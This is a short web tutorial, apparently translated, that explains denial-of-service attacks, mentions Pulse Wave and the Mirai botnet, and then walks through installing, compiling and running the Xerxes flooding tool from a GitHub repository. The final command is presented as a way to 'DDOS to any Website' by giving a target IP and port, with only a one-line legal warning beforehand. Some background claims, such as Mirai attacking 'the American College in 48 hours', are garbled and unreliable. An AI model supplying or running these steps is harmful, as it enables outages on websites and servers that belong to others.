What is a DOS attack?
An attack that clogs up the network or the server’s hardware resources. When the server is depleted of resources, it may hang or stop working. Users will not be able to access the Website during DOS.
Some of the more famous recent waves of DDOS include: Hackers have introduced a new type of DDOS attack called Pulse that is capable of taking down multiple targets. Pulse Wave does not have a spreading phase like a classic DDoS attack. Pulse is a new attack tactic, designed to double the output of botnets and exploit weaknesses in networked devices.
Or the Mirai Botnet that attacked the American College in 48 hours, before the helplessness of the network administrators.
This tool has been published on Github by zanyarjamal. This is one of the simplest and most powerful DOS tools.
The dos Xerxes tool is improved with many features such as:
- TLS support
- Self random HTTP header
- Self random Useragent
- Multiprocessing support
- Multiple attack methods
- etc…
To use Xerxes, copy the following commands into the Terminal of Kali Linux or any Linux operating system:
Attention! Only perform the DDOS Test on your Website or Server. Any act of DDOS entering the Website of another person or organization is against the law.
Install the required libraries for Xerxes:
sudo apt-get -y install build-essential cmake libssl-dev pkgconf
Download Xerxes to your computer:
git clone https://github.com/anonyvietofficial/xerxes.git
Then move to the installed directory:
cd xerxes
Next, you should compile with the GNU GCC compiler
gcc xerxes.c -o xerxes
Use the command below to DDOS to any Website
./xerxes -h 123.123.123.123 -p 80
(In which 123.123.123.123 is IP of the server to attack, 80 is the attack port)
